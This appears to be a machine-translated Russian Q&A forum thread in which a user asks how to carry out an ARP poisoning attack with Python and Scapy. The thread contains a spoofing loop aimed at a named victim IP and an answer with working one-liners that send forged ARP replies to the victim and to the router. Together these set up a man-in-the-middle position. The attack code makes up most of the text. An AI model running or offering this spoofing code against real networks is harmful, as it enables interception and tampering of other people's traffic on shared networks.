2015-09-23 7 views
0

Я пытаюсь использовать опцию «IP находится в macadress», но не могу понять, как сделать так ... вот мой код атм:Python 2.7 -scapy и ARP

from scapy.all import * 
victim = "192.168.5.51" 
spoof = "192.168.5.46" 
op=2 
mac = "88:00:2e:00:87:00" 
while True: 
    arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac) 
    send(arp) 

Я ищу заключается в том, чтобы отправить жертве ip пакет ARP со шлюзом ip/mac по умолчанию и отправить шлюз ip/mac злоумышленника Атака arp poisonning

ответ

1

Немного непонятно, чего вы пытаетесь достичь, но если все, что вас интересует, создает ARP ответ на форму «192.168.5.51находится на00:00:00:00:00:00», в котором значения всех других полей не имеют значения, то это должно быть достаточно:

send(ARP(op=ARP.is_at, psrc='192.168.5.51', hwsrc='00:00:00:00:00:00')) 

EDIT:

Это посылает жертве ответный пакет ARP с местная машина, маскирующаяся как маршрутизатор:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip)) 

Это посылает маршрутизатору в ответный пакет ARP с локального компьютера под видом жертвы:

send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)) 

В обоих этих пакетов, то hwsrc поле заполняется по умолчанию с MAC адрес локального компьютера.

+0

Я обновил вопрос с некоторыми исправлениями –

+0

Должен ли я отправлять эти пакеты в обычном порядке или один раз в порядке? Я попробую это. –